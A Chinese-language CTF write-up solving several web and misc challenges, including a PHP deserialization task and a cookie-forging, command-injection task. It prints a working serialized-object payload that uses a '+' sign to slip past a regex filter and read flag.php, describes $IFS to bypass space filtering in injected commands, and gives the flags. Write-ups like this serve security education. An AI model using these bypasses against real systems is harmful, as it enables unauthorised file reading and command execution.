WEB
easy
访问题目链接,给出了源码
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
很明显的是一道反序列化漏洞的题目,不太明白的读者可以查看一下:PHP反序列化由浅入深
在这道题目中自带一个baby
类,里面__toString()
中可以用file_get_contents
读文件内容:
可以自己本地来测试一下,获取序列化的对象。
<?php
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$a = new baby();
$a -> file = "flag.php";
//echo $a->__toString();
echo serialize($a);
?>
得到:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
因为存在过滤出语句
preg_match('/[oc]:\d+:/i',$data,$matches);
所以需要绕过,用加号进行绕过:
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
但如果直接传值的话会,服务器接收到会把加号认为空格,所以要对加号url编码:
O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
然后直接访问:
http://101.71.29.5:10007/index.php?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
访问后查看源代码得到:
$flag = 'flag{ad2328a2c3f0933c053fd3c6f28f6143}';
ezweb2
请求包中发现一个user=base64
字符串
base64解码之后得到
改成admin
再base64
一下,发现跳转到后台admin.php
开始以为是ssrf,简单的试了个http://www.baidu.com
提示error,然后又试了一个ls发现有回显。
试了个ls /
又提示error
,经过测试发现过滤了空格,可以用$IFS
绕过。
读取一下就会得到flag
MISC
签到题
在公众号中回复一下就可以了
JUJU
提示女朋友问我这11只JUJU哪只好看?答案提交flag{}括号内的值(flag中的字符串md5后提交)。
这一题有点像前几天SWPUCTF2018中的签到题,由于提示中给出的是11只,更改一下高度就可以了
把给出的字符进行base32解码就可以了,当时我想到的使用base64进行解码,发现是乱码,看了一下题目提示有MD5我使用md5加解密之后还是
不正确,问了一下客服(qaq),提示:你再看看题目
后来想到使用BASE32,进行解码(QAQ)
学习资料
zip加密,一般zip加密只有那几种,并且打开zip文件里面还有一个已经给出的txt文件,还有一个经过加密的zip文件,很明显是明文攻击就可以了
拿到密码,打开doc文件。。。。。。
flag在图片的后面,移动图片就可以拿到flag:Flag{edaa144c91a4e5b817e4a18cbdb78879}
总结:推荐一个学习CTF的平台:https://ctf-wiki.github.io/ctf-wiki/